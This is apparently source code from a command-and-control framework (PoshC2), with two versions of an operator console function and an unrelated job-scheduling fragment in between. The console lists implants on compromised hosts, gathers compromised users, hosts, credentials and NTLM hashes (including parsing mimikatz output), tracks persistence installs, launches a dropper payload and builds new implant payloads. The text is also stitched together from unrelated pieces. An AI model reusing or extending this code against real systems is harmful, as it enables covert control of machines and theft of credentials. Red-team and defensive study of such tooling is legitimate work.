def startup(user, printhelp=""): try: if os.name == 'nt': os.system('cls') else: os.system('clear') except Exception: print("cls") print(chr(27) + "[2J") print(Colours.GREEN) print(logopic) try: if user is not None: print("User: "******"%s%s" % (user, Colours.END)) print("") ii = get_implants() if ii: for i in ii: ID = i[0] LastSeen = i[7] Hostname = i[3] Domain = i[11] DomainUser = i[2] Arch = i[10] PID = i[8] Pivot = i[15] Sleep = i[13].strip() Label = i[16] pivot_original = Pivot if pivot_original.startswith("PS"): Pivot = "PS" elif pivot_original.startswith("C#"): Pivot = "C#" elif pivot_original.startswith("Python"): Pivot = "PY" if "Daisy" in pivot_original: Pivot = Pivot + ";D" if "Proxy" in pivot_original: Pivot = Pivot + ";P" from datetime import datetime, timedelta LastSeenTime = datetime.strptime(LastSeen, "%d/%m/%Y %H:%M:%S") now = datetime.now() if (Sleep.endswith('s')): sleep_int = int(Sleep[:-1]) elif (Sleep.endswith('m')): sleep_int = int(Sleep[:-1]) * 60 elif (Sleep.endswith('h')): sleep_int = int(Sleep[:-1]) * 60 * 60 else: print(Colours.RED) print("Incorrect sleep format: %s" % Sleep) print(Colours.END) continue nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) sID = "[" + str(ID) + "]" if not Label: sLabel = "" else: sLabel = "[" + Label + "]" if nowMinus10Beacons > LastSeenTime: print(Colours.RED + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) elif nowMinus3Beacons > LastSeenTime: print(Colours.YELLOW + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: print(Colours.GREEN + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: from datetime import datetime, timedelta now = datetime.now() print(Colours.RED + "No Implants as of: %s" % now.strftime("%d/%m/%Y %H:%M:%S")) print(Colours.END + "") if printhelp: print(printhelp) t = tabCompleter() t.createListCompleter(PRECOMMANDS) readline.set_completer_delims('\t') readline.parse_and_bind("tab: complete") readline.set_completer(t.listCompleter) history = get_history_dict() if history: for command in history: try: readline.add_history(command[1]) except Exception: pass command = input( "Select ImplantID or ALL or Comma Separated List (Enter to refresh):: " ) print("") if command: try: last = get_lastcommand() if last: if last != command: new_commandhistory(command) else: new_commandhistory(command) except Exception: pass command = command.strip() if (command == "") or (command == "back") or (command == "clear"): startup(user) if command.startswith("output-to-html"): generate_table("Tasks") generate_table("C2Server") generate_table("Creds") generate_table("Implants") graphviz() time.sleep(1) startup(user) if command.startswith("show-urls") or command.startswith("list-urls"): urls = get_c2urls() urlformatted = "RandomID URL HostHeader ProxyURL ProxyUsername ProxyPassword CredentialExpiry\n" for i in urls: urlformatted += "%s %s %s %s %s %s %s %s \n" % ( i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7]) startup(user, urlformatted) if command.startswith("add-autorun"): if command == "add-autorun": startup(user, "Please specify a module to autorun") autorun = command.replace("add-autorun ", "") autorun = autorun.replace("add-autorun", "") add_autorun(autorun) startup(user, "add-autorun: %s\r\n" % autorun) if command.startswith("list-autorun"): autoruns = get_autorun() startup(user, autoruns) if command.startswith("del-autorun"): autorun = command.replace("del-autorun ", "") del_autorun(autorun) startup(user, "deleted autorun\r\n") if command.startswith("nuke-autorun"): del_autoruns() startup(user, "nuked autoruns\r\n") if (command == "automigrate-frompowershell") or (command == "am"): startup( user, "automigrate not currently implemented for the Python version of PoshC2\r\n" ) if command.startswith("show-serverinfo"): i = get_c2server_all() detailsformatted = "\nHostnameIP: %s\nEncKey: %s\nDomainFrontHeader: %s\nDefaultSleep: %s\nKillDate: %s\nHTTPResponse: %s\nFolderPath: %s\nServerPort: %s\nQuickCommand: %s\nDownloadURI: %s\nDefaultProxyURL: %s\nDefaultProxyUser: %s\nDefaultProxyPass: %s\nEnableSounds: %s\nAPIKEY: %s\nMobileNumber: %s\nURLS: %s\nSocksURLS: %s\nInsecure: %s\nUserAgent: %s\nReferer: %s\nAPIToken: %s\nAPIUser: %s\nEnableNotifications: %s\n" % ( i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9], i[10], i[11], i[12], i[13], i[14], i[15], i[16], i[17], i[18], i[19], i[20], i[21], i[22], i[23], i[24]) startup(user, detailsformatted) if command.startswith("turnoff-notifications"): update_item("EnableNotifications", "C2Server", "No") startup(user, "Turned off notifications on new implant") if command.startswith("turnon-notifications"): update_item("EnableNotifications", "C2Server", "Yes") startup(user, "Turned on notifications on new implant") if command.startswith("set-clockworksmsapikey"): cmd = command.replace("set-clockworksmsapikey ", "") cmd = cmd.replace("set-clockworksmsapikey", "") update_item("MobileNumber", "C2Server", cmd) startup(user, "Updated set-clockworksmsapikey: %s\r\n" % cmd) if command.startswith("set-clockworksmsnumber"): cmd = command.replace("set-clockworksmsnumber ", "") cmd = cmd.replace("set-clockworksmsnumber", "") update_item("APIKEY", "C2Server", cmd) startup( user, "Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" % cmd) if command.startswith("set-defaultbeacon"): new_sleep = command.replace("set-defaultbeacon ", "") new_sleep = new_sleep.replace("set-defaultbeacon", "") if not validate_sleep_time(new_sleep): print(Colours.RED) print( "Invalid sleep command, please specify a time such as 50s, 10m or 1h" ) print(Colours.GREEN) startup(user) else: update_item("DefaultSleep", "C2Server", new_sleep) startup( user, "Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % new_sleep) if command.startswith("opsec"): implants = get_implants_all() comtasks = get_tasks() hosts = "" uploads = "" urls = "" users = "" creds = "" hashes = "" for i in implants: if i[3] not in hosts: hosts += "%s \n" % i[3] if i[9] not in urls: urls += "%s \n" % i[9] for t in comtasks: hostname = get_implantdetails(t[1]) command = t[2].lower() output = t[3].lower() if hostname[2] not in users: users += "%s\\%s @ %s\n" % (hostname[11], hostname[2], hostname[3]) if "invoke-mimikatz" in t[2] and "logonpasswords" in t[3]: allcreds = process_mimikatz(t[3]) for cred in allcreds: if cred is not None: if cred[1]: creds += cred[0] + " Password: "******"\n" if cred[2]: hashes += cred[0] + " : NTLM:" + cred[2] + "\n" if "uploading file" in command: uploadedfile = command uploadedfile = uploadedfile.partition( "uploading file: ")[2].strip() filehash = uploadedfile.partition( " with md5sum:")[2].strip() uploadedfile = uploadedfile.partition( " with md5sum:")[0].strip() uploadedfile = uploadedfile.strip('"') uploads += "%s\t%s\t%s\n" % (hostname[3], filehash, uploadedfile) if "installing persistence" in output: implant_details = get_implantdetails(t[2]) line = command.replace('\n', '') line = line.replace('\r', '') filenameuploaded = line.rstrip().split(":", 1)[1] uploads += "%s %s \n" % (implant_details[3], filenameuploaded) if "written scf file" in output: implant_details = get_implantdetails(t[2]) uploads += "%s %s\n" % (implant_details[3], output[output.indexof(':'):]) startup( user, "Users Compromised: \n%s\nHosts Compromised: \n%s\nURLs: \n%s\nFiles Uploaded: \n%s\nCredentials Compromised: \n%s\nHashes Compromised: \n%s" % (users, hosts, urls, uploads, creds, hashes)) if command.startswith("listmodules"): mods = "" for modname in os.listdir("%s/Modules/" % POSHDIR): mods += "%s\r\n" % modname startup(user, mods) if command.startswith("creds"): startup(user, "creds module not implemented yet") if (command == "pwnself") or (command == "p"): subprocess.Popen( ["python", "%s%s" % (PayloadsDirectory, "py_dropper.py")]) startup(user) if (command == "tasks") or (command == "tasks "): alltasks = "" tasks = get_newtasks_all() if tasks is None: startup(user, "No tasks queued!\r\n") else: for task in tasks: imname = get_implantdetails(task[1]) alltasks += "(%s) %s\r\n" % ("%s\\%s" % (imname[11], imname[2]), task[2]) startup(user, "Queued tasks:\r\n\r\n%s" % alltasks) if (command == "cleartasks") or (command == "cleartasks "): drop_newtasks() startup(user, "Empty tasks queue\r\n") if command.startswith("quit"): ri = input("Are you sure you want to quit? (Y/n) ") if ri.lower() == "n": startup(user) if ri == "": sys.exit(0) if ri.lower() == "y": sys.exit(0) if command.startswith("createdaisypayload"): createdaisypayload(user, startup) if command.startswith("createproxypayload"): createproxypayload(user, startup) if command.startswith("createnewpayload"): createnewpayload(user, startup) if (command == "?") or (command == "help"): startup(user, pre_help) if (command == "history") or command == "history ": startup(user, get_history()) if command.startswith("use "): command = command.replace("use ", "") params = re.compile("use ", re.IGNORECASE) command = params.sub("", command) commandloop(command, user) except Exception as e: if 'unable to open database file' in e: startup(user) else: traceback.print_exc() print("Error: %s" % e) print("Currently no valid implants: sleeping for 10 seconds") time.sleep(10) startup(user)
'MD': 10 }, { 'job_id': 3, 'prio': 3, 'MD': 20 }, { 'job_id': 4, 'prio': 4, 'MD': 6 }, { 'job_id': 5, 'prio': 3, 'MD': 23 }] assign = [[0, 0], [0, 0], [0, 0], [0, 0], [0, 0], [0, 0]] tasks = get_tasks() total_distance = 0 total_md = 0 for task in tasks: total_md = total_md + task[2] for worker in workers: worker_distance = total_md / 5 * (worker['home_dist'] * 2) worker_distance = total_md / 5 * (worker['home_dist'] * 2) print( f"Worker: {worker['w_id']}, MD: {total_md}, distance: {worker_distance}, home distance: {worker['home_dist']}" )
def startup(user, printhelp=""): session = PromptSession(history=FileHistory('%s/.top-history' % ROOTDIR), auto_suggest=AutoSuggestFromHistory()) try: if os.name == 'nt': os.system('cls') else: os.system('clear') except Exception: print("cls") print(chr(27) + "[2J") print(Colours.GREEN) print(logopic) try: if user is not None: print("User: "******"%s%s" % (user, Colours.GREEN)) print("") ii = get_implants() if ii: for i in ii: ID = i[0] LastSeen = i[7] Hostname = i[3] Domain = i[11] DomainUser = i[2] Arch = i[10] PID = i[8] Pivot = i[15] Sleep = i[13].strip() Label = i[16] Pivot = get_implant_type_prompt_prefix(ID) LastSeenTime = datetime.strptime(LastSeen, "%d/%m/%Y %H:%M:%S") now = datetime.now() if (Sleep.endswith('s')): sleep_int = int(Sleep[:-1]) elif (Sleep.endswith('m')): sleep_int = int(Sleep[:-1]) * 60 elif (Sleep.endswith('h')): sleep_int = int(Sleep[:-1]) * 60 * 60 else: print(Colours.RED) print("Incorrect sleep format: %s" % Sleep) print(Colours.GREEN) continue nowMinus3Beacons = now - timedelta(seconds=(sleep_int * 3)) nowMinus10Beacons = now - timedelta(seconds=(sleep_int * 10)) sID = "[" + str(ID) + "]" if not Label: sLabel = "" else: sLabel = "[" + Label + "]" if nowMinus10Beacons > LastSeenTime: print(Colours.RED + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) elif nowMinus3Beacons > LastSeenTime: print(Colours.YELLOW + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: print(Colours.GREEN + "%s%s: Seen:%s | PID:%s | %s | %s\\%s @ %s (%s) %s" % (sID.ljust(4), sLabel, LastSeen, PID.ljust(5), Sleep, Domain, DomainUser, Hostname, Arch, Pivot)) else: now = datetime.now() print(Colours.RED + "No Implants as of: %s" % now.strftime("%d/%m/%Y %H:%M:%S")) if printhelp: print(printhelp) command = session.prompt( "\nSelect ImplantID or ALL or Comma Separated List (Enter to refresh):: ", completer=FirstWordFuzzyWordCompleter(PRECOMMANDS, WORD=True)) print("") command = command.strip() if (command == "") or (command == "back") or (command == "clear"): startup(user) if command.startswith("output-to-html"): startup( user, "This command has been retired, please use generate-reports") if command.startswith("generate-reports"): generate_table("Tasks") generate_table("C2Server") generate_table("Creds") generate_table("Implants") graphviz() time.sleep(1) startup(user) if command.startswith("message "): message = command[len("message "):] new_c2_message("Message from %s - %s" % (user, message)) startup(user) if command.startswith("show-urls") or command.startswith("list-urls"): urls = get_c2urls() urlformatted = "RandomID URL HostHeader ProxyURL ProxyUsername ProxyPassword CredentialExpiry\n" for i in urls: urlformatted += "%s %s %s %s %s %s %s %s \n" % ( i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7]) startup(user, urlformatted) if command.startswith("add-autorun"): if command == "add-autorun": startup(user, "Please specify a module to autorun") autorun = command.replace("add-autorun ", "") autorun = autorun.replace("add-autorun", "") add_autorun(autorun) startup(user, "add-autorun: %s\r\n" % autorun) if command.startswith("list-autorun"): autoruns = get_autorun() startup(user, autoruns) if command.startswith("del-autorun"): autorun = command.replace("del-autorun ", "") del_autorun(autorun) startup(user, "deleted autorun\r\n") if command.startswith("nuke-autorun"): del_autoruns() startup(user, "nuked autoruns\r\n") if (command == "automigrate-frompowershell") or (command == "am"): startup( user, "automigrate not currently implemented for the Python version of PoshC2\r\n" ) if command.startswith("show-serverinfo"): i = get_c2server_all() detailsformatted = "\nHostnameIP: %s\nEncKey: %s\nDomainFrontHeader: %s\nDefaultSleep: %s\nKillDate: %s\nHTTPResponse: %s\nFolderPath: %s\nServerPort: %s\nQuickCommand: %s\nDownloadURI: %s\nDefaultProxyURL: %s\nDefaultProxyUser: %s\nDefaultProxyPass: %s\nEnableSounds: %s\nAPIKEY: %s\nMobileNumber: %s\nURLS: %s\nSocksURLS: %s\nInsecure: %s\nUserAgent: %s\nReferer: %s\nAPIToken: %s\nAPIUser: %s\nEnableNotifications: %s\n" % ( i[1], i[2], i[3], i[4], i[5], i[6], i[7], i[8], i[9], i[10], i[11], i[12], i[13], i[14], i[15], i[16], i[17], i[18], i[19], i[20], i[21], i[22], i[23], i[24]) startup(user, detailsformatted) if command.startswith("turnoff-notifications"): update_item("EnableNotifications", "C2Server", "No") startup(user, "Turned off notifications on new implant") if command.startswith("turnon-notifications"): update_item("EnableNotifications", "C2Server", "Yes") startup(user, "Turned on notifications on new implant") if command.startswith("set-clockworksmsapikey"): cmd = command.replace("set-clockworksmsapikey ", "") cmd = cmd.replace("set-clockworksmsapikey", "") update_item("MobileNumber", "C2Server", cmd) startup(user, "Updated set-clockworksmsapikey: %s\r\n" % cmd) if command.startswith("set-clockworksmsnumber"): cmd = command.replace("set-clockworksmsnumber ", "") cmd = cmd.replace("set-clockworksmsnumber", "") update_item("APIKEY", "C2Server", cmd) startup( user, "Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" % cmd) if command.startswith("set-killdate"): cmd = command.replace("set-killdate ", "") cmd = cmd.replace("set-killdate", "") update_item("KillDate", "C2Server", cmd) startup( user, "Updated KillDate (Remember to generate new payloads and get new implants): %s\r\n" % cmd) if command.startswith("set-defaultbeacon"): new_sleep = command.replace("set-defaultbeacon ", "") new_sleep = new_sleep.replace("set-defaultbeacon", "") if not validate_sleep_time(new_sleep): print(Colours.RED) print( "Invalid sleep command, please specify a time such as 50s, 10m or 1h" ) print(Colours.GREEN) startup(user) else: update_item("DefaultSleep", "C2Server", new_sleep) startup( user, "Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % new_sleep) if command.startswith("opsec"): implants = get_implants_all() comtasks = get_tasks() hosts = "" uploads = "" urls = "" users = "" for i in implants: if i[3] not in hosts: hosts += "%s \n" % i[3] if i[9] not in urls: urls += "%s \n" % i[9] for t in comtasks: hostname = get_implantdetails(t[1]) command = t[2].lower() output = t[3].lower() if hostname[2] not in users: users += "%s\\%s @ %s\n" % (hostname[11], hostname[2], hostname[3]) if "invoke-pbind" in command and "connected" in output: tg = re.search("(?<=-target )\\S*", str(command)) if tg[0] not in hosts: hosts += "%s \n" % tg[0] if "uploading file" in command: uploadedfile = command uploadedfile = uploadedfile.partition( "uploading file: ")[2].strip() filehash = uploadedfile.partition( " with md5sum:")[2].strip() uploadedfile = uploadedfile.partition( " with md5sum:")[0].strip() uploadedfile = uploadedfile.strip('"') uploads += "%s\t%s\t%s\n" % (hostname[3], filehash, uploadedfile) if "installing persistence" in output: implant_details = get_implantdetails(t[2]) line = command.replace('\n', '') line = line.replace('\r', '') filenameuploaded = line.rstrip().split(":", 1)[1] uploads += "%s %s \n" % (implant_details[3], filenameuploaded) if "written scf file" in output: implant_details = get_implantdetails(t[2]) uploads += "%s %s\n" % (implant_details[3], output[output.indexof(':'):]) creds, hashes = parse_creds(get_creds()) startup( user, "\nUsers Compromised: \n%s\nHosts Compromised: \n%s\nURLs: \n%s\nFiles Uploaded: \n%s\nCredentials Compromised: \n%s\nHashes Compromised: \n%s" % (users, hosts, urls, uploads, creds, hashes)) if command.startswith("listmodules"): mods = "" for modname in os.listdir("%s/Modules/" % POSHDIR): mods += "%s\r\n" % modname startup(user, mods) if command == "creds": creds, hashes = parse_creds(get_creds()) startup( user, "\nCredentials Compromised: \n%s\nHashes Compromised: \n%s" % (creds, hashes)) if command.startswith("creds ") and "-add " in command: p = re.compile(r"-domain=([^\s]*)") domain = re.search(p, command) if domain: domain = domain.group(1) p = re.compile(r"-username=([^\s]*)") username = re.search(p, command) if username: username = username.group(1) p = re.compile(r"-password=([^\s]*)") password = re.search(p, command) if password: password = password.group(1) p = re.compile(r"-hash=([^\s]*)") hash = re.search(p, command) if hash: hash = hash.group(1) if not domain or not username: startup(user, "Please specify a domain and username") if password and hash: startup(user, "Please specify a password or a hash, but not both") if not password and not hash: startup(user, "Please specify either a password or a hash") insert_cred(domain, username, password, hash) startup(user, "Credential added successfully") if command.startswith("creds ") and "-search " in command: username = command.replace("creds ", "") username = username.replace("-search ", "") username = username.strip() creds, hashes = parse_creds(get_creds_for_user(username)) startup( user, "Credentials Compromised: \n%s\nHashes Compromised: \n%s" % (creds, hashes)) if (command == "pwnself") or (command == "p"): subprocess.Popen( ["python2.7", "%s%s" % (PayloadsDirectory, "py_dropper.py")]) startup(user) if (command == "tasks") or (command == "tasks "): alltasks = "" tasks = get_newtasks_all() if tasks is None: startup(user, "No tasks queued!\r\n") else: for task in tasks: imname = get_implantdetails(task[1]) alltasks += "[%s] : %s | %s\r\n" % ( imname[0], "%s\\%s" % (imname[11], imname[2]), task[2]) startup(user, "Queued tasks:\r\n\r\n%s" % alltasks) if (command == "cleartasks") or (command == "cleartasks "): drop_newtasks() startup(user, "Empty tasks queue\r\n") if command.startswith("quit"): ri = input("Are you sure you want to quit? (Y/n) ") if ri.lower() == "n": startup(user) if ri == "" or ri.lower() == "y": new_c2_message("%s logged off." % user) sys.exit(0) if command.startswith("createdaisypayload"): createdaisypayload(user, startup) if command.startswith("createproxypayload"): params = re.compile("createproxypayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if not creds['Password']: startup( user, "This command does not support credentials with hashes" ) createproxypayload(user, startup, creds) if command.startswith("createnewpayload"): params = re.compile("createnewpayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, startup, user) if creds is None: startup(user, "CredID not found") if not creds['Password']: startup( user, "This command does not support credentials with hashes" ) createnewpayload(user, startup, creds) if (command == "?") or (command == "help"): startup(user, pre_help) if (command == "history") or command == "history ": startup(user, get_history()) if command.startswith("use "): command = command.replace("use ", "") params = re.compile("use ", re.IGNORECASE) command = params.sub("", command) commandloop(command, user) except KeyboardInterrupt: startup(user) except EOFError: new_c2_message("%s logged off." % user) sys.exit(0) except Exception as e: if 'unable to open database file' in str(e): startup(user) else: traceback.print_exc() print("Error: %s" % e) print("Currently no valid implants: sleeping for 10 seconds") time.sleep(10) startup(user)